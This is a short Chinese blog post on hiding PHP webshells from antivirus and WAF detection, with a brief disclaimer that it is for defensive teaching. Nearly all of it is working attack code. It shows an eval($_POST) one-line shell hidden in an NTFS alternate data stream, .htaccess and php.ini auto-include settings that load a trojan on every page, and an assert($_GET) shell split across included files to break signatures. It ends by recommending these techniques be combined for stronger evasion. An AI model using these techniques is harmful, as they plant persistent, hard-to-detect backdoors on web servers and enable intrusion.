作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途
PHP木马免杀小技巧
- 免杀小技巧
-
- 1.ADS隐藏。
- 2.修改.htaccess文件
- 3.修改php.ini
- 4.一句话拆分
- 小结
免杀小技巧
1.ADS隐藏。
windows数据流有个很好的方式隐藏数据。
通过命令行
echo ^<?php @eval($_POST['pwd']);?^> > shell.php:123.jpg
会在本地生成一个shell.php文件,但打开却发现没有内容,各种方式type啥的都不行。
通过命令行notepad才能打开编辑
notepad shell.php:123.jpg
但此文件无法直接运行。所以需要构造一个文件包含php
2.修改.htaccess文件
php_value auto_append_file D:/123.txt #自动包含文件。
php_value auto_append_file .htaccess #包含自己。
#<?php phpinfo();
3.修改php.ini
修改
auto_prepend_file = shell.txt
或
auto_append_file= shell.txt
再修改include_path,可以通过任意页面进行访问
include_path = ".;D:\phpstudy\www\"
在路徑D:\phpstudy\www\中写入webshell.txt
这样不管在任何页面都会自动加载我们的木马文件。
4.一句话拆分
原理通过文件包含和php的动态函数
拆分为多个文件,然后包含,通过动态函数实现。

#1.txt
<?php $_ = 'assert';?>
#2.txt
<?php $__='_GET';?>
#3.txt
<?php $___=$$__;?>
#index.php
<?php
include('1.txt');
include('2.txt');
include('3.txt');
@$_($___['xg']);?>
然后将123txt文件散布到各个文件夹,修改include包含的路径。
小结
waf的免杀绕过就是打乱木马的特征。
完全可以通过以上方式打组合拳来进行强力免杀。
自己整理的php免杀资料
可关注微信公众号:XG小刚
回复:PHP免杀